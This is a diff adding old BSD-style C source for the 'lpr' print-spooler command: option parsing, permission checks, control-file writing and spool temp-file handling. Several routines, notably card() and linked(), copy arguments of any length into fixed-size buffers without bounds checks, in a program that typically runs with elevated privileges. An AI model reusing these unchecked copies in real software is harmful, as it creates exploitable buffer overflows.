+			hdr++;
+			if (arg[2])
+				class = &arg[2];
+			else if (argc > 1) {
+				argc--;
+				class = *++argv;
+			}
+			break;
+
+		case 'U':		/* user name */
+			hdr++;
+			if (arg[2])
+				person = &arg[2];
+			else if (argc > 1) {
+				argc--;
+				person = *++argv;
+			}
+			break;
+
+		case 'J':		/* job name */
+			hdr++;
+			if (arg[2])
+				jobname = &arg[2];
+			else if (argc > 1) {
+				argc--;
+				jobname = *++argv;
+			}
+			break;
+
+		case 'T':		/* pr's title line */
+			if (arg[2])
+				title = &arg[2];
+			else if (argc > 1) {
+				argc--;
+				title = *++argv;
+			}
+			break;
+
+		case 'l':		/* literal output */
+		case 'p':		/* print using ``pr'' */
+		case 't':		/* print troff output (cat files) */
+		case 'n':		/* print ditroff output */
+		case 'd':		/* print tex output (dvi files) */
+		case 'g':		/* print graph(1G) output */
+		case 'c':		/* print cifplot output */
+		case 'v':		/* print vplot output */
+			format = arg[1];
+			break;
+
+		case 'f':		/* print fortran output */
+			format = 'r';
+			break;
+
+		case '4':		/* troff fonts */
+		case '3':
+		case '2':
+		case '1':
+			if (argc > 1) {
+				argc--;
+				fonts[arg[1] - '1'] = *++argv;
+			}
+			break;
+
+		case 'w':		/* versatec page width */
+			width = arg+2;
+			break;
+
+		case 'r':		/* remove file when done */
+			rflag++;
+			break;
+
+		case 'm':		/* send mail when done */
+			mailflg++;
+			break;
+
+		case 'h':		/* toggle want of header page */
+			hdr = !hdr;
+			break;
+
+		case 's':		/* try to link files */
+			sflag++;
+			break;
+
+		case 'q':		/* just q job */
+			qflag++;
+			break;
+
+		case 'i':		/* indent output */
+			iflag++;
+			indent = arg[2] ? atoi(&arg[2]) : 8;
+			break;
+
+		case '#':		/* n copies */
+			if (isdigit(arg[2])) {
+				i = atoi(&arg[2]);
+				if (i > 0)
+					ncopies = i;
+			}
+		}
+	}
+	if (printer == NULL && (printer = getenv("PRINTER")) == NULL)
+		printer = DEFLP;
+	chkprinter(printer);
+	if (SC && ncopies > 1)
+		fatal("multiple copies are not allowed");
+	if (MC > 0 && ncopies > MC)
+		fatal("only %d copies are allowed", MC);
+	/*
+	 * Get the identity of the person doing the lpr using the same
+	 * algorithm as lprm. 
+	 */
+	userid = getuid();
+	if (userid != DU || person == 0) {
+		if ((pw = getpwuid(userid)) == NULL)
+			fatal("Who are you?");
+		person = pw->pw_name;
+	}
+	/*
+	 * Check for restricted group access.
+	 */
+	if (RG != NULL && userid != DU) {
+		if ((gptr = getgrnam(RG)) == NULL)
+			fatal("Restricted group specified incorrectly");
+		if (gptr->gr_gid != getgid()) {
+			while (*gptr->gr_mem != NULL) {
+				if ((strcmp(person, *gptr->gr_mem)) == 0)
+					break;
+				gptr->gr_mem++;
+			}
+			if (*gptr->gr_mem == NULL)
+				fatal("Not a member of the restricted group");
+		}
+	}
+	/*
+	 * Check to make sure queuing is enabled if userid is not root.
+	 */
+	(void) sprintf(buf, "%s/%s", SD, LO);
+	if (userid && stat(buf, &stb) == 0 && (stb.st_mode & 010))
+		fatal("Printer queue is disabled");
+	/*
+	 * Initialize the control file.
+	 */
+	mktemps();
+	tfd = nfile(tfname);
+	(void) fchown(tfd, DU, -1);	/* owned by daemon for protection */
+	card('H', host);
+	card('P', person);
+	if (hdr) {
+		if (jobname == NULL) {
+			if (argc == 1)
+				jobname = "stdin";
+			else
+				jobname = (arg = rindex(argv[1], '/')) ? arg+1 : argv[1];
+		}
+		card('J', jobname);
+		card('C', class);
+		card('L', person);
+	}
+	if (iflag)
+		card('I', itoa(indent));
+	if (mailflg)
+		card('M', person);
+	if (format == 't' || format == 'n' || format == 'd')
+		for (i = 0; i < 4; i++)
+			if (fonts[i] != NULL)
+				card('1'+i, fonts[i]);
+	if (width != NULL)
+		card('W', width);
+
+	/*
+	 * Read the files and spool them.
+	 */
+	if (argc == 1)
+		copy(0, " ");
+	else while (--argc) {
+		if ((f = test(arg = *++argv)) < 0)
+			continue;	/* file unreasonable */
+
+		if (sflag && (cp = linked(arg)) != NULL) {
+			(void) sprintf(buf, "%d %d", statb.st_dev, statb.st_ino);
+			card('S', buf);
+			if (format == 'p')
+				card('T', title ? title : arg);
+			for (i = 0; i < ncopies; i++)
+				card(format, &dfname[inchar-2]);
+			card('U', &dfname[inchar-2]);
+			if (f)
+				card('U', cp);
+			card('N', arg);
+			dfname[inchar]++;
+			nact++;
+			continue;
+		}
+		if (sflag)
+			printf("%s: %s: not linked, copying instead\n", name, arg);
+		if ((i = open(arg, O_RDONLY)) < 0) {
+			printf("%s: cannot open %s\n", name, arg);
+			continue;
+		}
+		copy(i, arg);
+		(void) close(i);
+		if (f && unlink(arg) < 0)
+			printf("%s: %s: not removed\n", name, arg);
+	}
+
+	if (nact) {
+		(void) close(tfd);
+		tfname[inchar]--;
+		/*
+		 * Touch the control file to fix position in the queue.
+		 */
+		if ((tfd = open(tfname, O_RDWR)) >= 0) {
+			char c;
+
+			if (read(tfd, &c, 1) == 1 && lseek(tfd, 0L, 0) == 0 &&
+			    write(tfd, &c, 1) != 1) {
+				printf("%s: cannot touch %s\n", name, tfname);
+				tfname[inchar]++;
+				cleanup();
+			}
+			(void) close(tfd);
+		}
+		if (link(tfname, cfname) < 0) {
+			printf("%s: cannot rename %s\n", name, cfname);
+			tfname[inchar]++;
+			cleanup();
+		}
+		unlink(tfname);
+		if (qflag)		/* just q things up */
+			exit(0);
+		if (!startdaemon(printer))
+			printf("jobs queued, but cannot start daemon.\n");
+		exit(0);
+	}
+	cleanup();
+	/* NOTREACHED */
+}
+
+/*
+ * Create the file n and copy from file descriptor f.
+ */
+copy(f, n)
+	int f;
+	char n[];
+{
+	register int fd, i, nr, nc;
+	char buf[BUFSIZ];
+
+	if (format == 'p')
+		card('T', title ? title : n);
+	for (i = 0; i < ncopies; i++)
+		card(format, &dfname[inchar-2]);
+	card('U', &dfname[inchar-2]);
+	card('N', n);
+	fd = nfile(dfname);
+	nr = nc = 0;
+	while ((i = read(f, buf, BUFSIZ)) > 0) {
+		if (write(fd, buf, i) != i) {
+			printf("%s: %s: temp file write error\n", name, n);
+			break;
+		}
+		nc += i;
+		if (nc >= BUFSIZ) {
+			nc -= BUFSIZ;
+			nr++;
+			if (MX > 0 && nr > MX) {
+				printf("%s: %s: copy file is too large\n", name, n);
+				break;
+			}
+		}
+	}
+	(void) close(fd);
+	if (nc==0 && nr==0) 
+		printf("%s: %s: empty input file\n", name, f ? n : "stdin");
+	else
+		nact++;
+}
+
+/*
+ * Try and link the file to dfname. Return a pointer to the full
+ * path name if successful.
+ */
+char *
+linked(file)
+	register char *file;
+{
+	register char *cp;
+	static char buf[BUFSIZ];
+
+	if (*file != '/') {
+		if (getwd(buf) == NULL)
+			return(NULL);
+		while (file[0] == '.') {
+			switch (file[1]) {
+			case '/':
+				file += 2;
+				continue;
+			case '.':
+				if (file[2] == '/') {
+					if ((cp = rindex(buf, '/')) != NULL)
+						*cp = '\0';
+					file += 3;
+					continue;
+				}
+			}
+			break;
+		}
+		strcat(buf, "/");
+		strcat(buf, file);
+		file = buf;
+	}
+	return(symlink(file, dfname) ? NULL : file);
+}
+
+/*
+ * Put a line into the control file.
+ */
+card(c, p2)
+	register char c, *p2;
+{
+	char buf[BUFSIZ];
+	register char *p1 = buf;
+	register int len = 2;
+
+	*p1++ = c;
+	while ((c = *p2++) != '\0') {
+		*p1++ = (c == '\n') ? ' ' : c;
+		len++;
+	}
+	*p1++ = '\n';
+	write(tfd, buf, len);
+}
+
+/*
+ * Create a new file in the spool directory.
+ */
+nfile(n)
+	char *n;
+{
+	register f;
+	int oldumask = umask(0);		/* should block signals */
+
+	f = open(n, O_CREAT|O_WRONLY|O_TRUNC|O_EXCL, FILMOD);
+	(void) umask(oldumask);
+	if (f < 0) {
+		printf("%s: cannot create %s\n", name, n);
+		cleanup();
+	}
+	if (fchown(f, userid, -1) < 0) {
+		printf("%s: cannot chown %s\n", name, n);
+		cleanup();
+	}
+	if (++n[inchar] > 'z') {
+		if (++n[inchar-2] == 't') {
+			printf("too many files - break up the job\n");
+			cleanup();
+		}
+		n[inchar] = 'A';
+	} else if (n[inchar] == '[')
+		n[inchar] = 'a';
+	return(f);
+}
+
+/*
+ * Cleanup after interrupts and errors.
+ */
+void
+cleanup()
+{
+	register i;
+
+	signal(SIGHUP, SIG_IGN);
+	signal(SIGINT, SIG_IGN);
+	signal(SIGQUIT, SIG_IGN);
+	signal(SIGTERM, SIG_IGN);
+	i = inchar;
+	if (tfname)
+		do
+			unlink(tfname);
+		while (tfname[i]-- != 'A');
+	if (cfname)
+		do
+			unlink(cfname);
+		while (cfname[i]-- != 'A');
+	if (dfname)
+		do {
+			do
+				unlink(dfname);
+			while (dfname[i]-- != 'A');
+			dfname[i] = 'z';
+		} while (dfname[i-2]-- != 'd');
+	exit(1);
+}
+
+/*
+ * Test to see if this is a printable file.
+ * Return -1 if it is not, 0 if its printable, and 1 if
+ * we should remove it after printing.
+ */
+test(file)
+	char *file;
+{
+	struct exec execb;
+	register int fd;
+	register char *cp;
+
+	if (access(file, 4) < 0) {
+		printf("%s: cannot access %s\n", name, file);
+		return(-1);
+	}
+	if (stat(file, &statb) < 0) {
+		printf("%s: cannot stat %s\n", name, file);
+		return(-1);
+	}
+	if ((statb.st_mode & S_IFMT) == S_IFDIR) {
+		printf("%s: %s is a directory\n", name, file);
+		return(-1);
+	}
+	if (statb.st_size == 0) {
+		printf("%s: %s is an empty file\n", name, file);
+		return(-1);
+ 	}
+	if ((fd = open(file, O_RDONLY)) < 0) {
+		printf("%s: cannot open %s\n", name, file);
+		return(-1);
+	}
+#ifndef LINUX
+	if (read(fd, &execb, sizeof(execb)) == sizeof(execb))
+		switch(execb.a_magic) {
+		case A_MAGIC1:
+		case A_MAGIC2:
+		case A_MAGIC3:
+#ifdef A_MAGIC4
+		case A_MAGIC4:
+#endif
+			printf("%s: %s is an executable program", name, file);
+			goto error1;
+
+		case ARMAG:
+			printf("%s: %s is an archive file", name, file);
+			goto error1;
+		}
+#endif
+	(void) close(fd);
+	if (rflag) {
+		if ((cp = rindex(file, '/')) == NULL) {
+			if (access(".", 2) == 0)
+				return(1);
+		} else {
+			*cp = '\0';
+			fd = access(file, 2);
+			*cp = '/';
+			if (fd == 0)
+				return(1);
+		}
+		printf("%s: %s: is not removable by you\n", name, file);
+	}
+	return(0);
+
+error1:
+	printf(" and is unprintable\n");
+	(void) close(fd);
+	return(-1);
+}
+
+/*
+ * itoa - integer to string conversion
+ */
+char *
+itoa(i)
+	register int i;
+{
+	static char b[10] = "########";
+	register char *p;
+
+	p = &b[8];
+	do
+		*p-- = i%10 + '0';
+	while (i /= 10);
+	return(++p);
+}
+
+/*
+ * Perform lookup for printer name or abbreviation --
+ */
+chkprinter(s)
+	char *s;
+{
+	int status;
+	char buf[BUFSIZ];
+	static char pbuf[BUFSIZ/2];
+	char *bp = pbuf;
+	extern char *pgetstr();
+
+	if ((status = pgetent(buf, s)) < 0)
+		fatal("cannot open printer description file");
+	else if (status == 0)
+		fatal("%s: unknown printer", s);
+	if ((SD = pgetstr("sd", &bp)) == NULL)
+		SD = _PATH_DEFSPOOL;
+	if ((LO = pgetstr("lo", &bp)) == NULL)
+		LO = DEFLOCK;
+	RG = pgetstr("rg", &bp);
+	if ((MX = pgetnum("mx")) < 0)
+		MX = DEFMX;
+	if ((MC = pgetnum("mc")) < 0)
+		MC = DEFMAXCOPIES;
+	if ((DU = pgetnum("du")) < 0)
+		DU = DEFUID;
+	SC = pgetflag("sc");
+}
+
+/*
+ * Make the temp files.
+ */
+mktemps()
+{
+	register int c, len, fd, n;
+	register char *cp;
+	char buf[BUFSIZ];
+	char *lmktemp();
+
+	(void) sprintf(buf, "%s/.seq", SD);
+	if ((fd = open(buf, O_RDWR|O_CREAT, 0661)) < 0) {
+		printf("%s: cannot create %s\n", name, buf);
+		exit(1);
+	}
+	if (flock(fd, LOCK_EX)) {
+		printf("%s: cannot lock %s\n", name, buf);
+		exit(1);
+	}
+	n = 0;
+	if ((len = read(fd, buf, sizeof(buf))) > 0) {
+		for (cp = buf; len--; ) {
+			if (*cp < '0' || *cp > '9')
+				break;
+			n = n * 10 + (*cp++ - '0');
+		}
+	}
+	len = strlen(SD) + strlen(host) + 8;
+	tfname = lmktemp("tf", n, len);
+	cfname = lmktemp("cf", n, len);
+	dfname = lmktemp("df", n, len);
+	inchar = strlen(SD) + 3;
+	n = (n + 1) % 1000;
+	(void) lseek(fd, 0L, 0);
+	sprintf(buf, "%03d\n", n);
+	(void) write(fd, buf, strlen(buf));
+	(void) close(fd);	/* unlocks as well */
+}
+
+/*
+ * Make a temp file name.
+ */
+char *
+lmktemp(id, num, len)
+	char	*id;
+	int	num, len;
+{
+	register char *s;
+	extern char *malloc();
+
+	if ((s = malloc(len)) == NULL)
+		fatal("out of memory");
+	(void) sprintf(s, "%s/%sA%03d%s", SD, id, num, host);
+	return(s);
+}
+
+/*VARARGS1*/
+fatal(msg, a1, a2, a3)
+	char *msg;
+{
+	printf("%s: ", name);
+	printf(msg, a1, a2, a3);
+	putchar('\n');
+	exit(1);
+}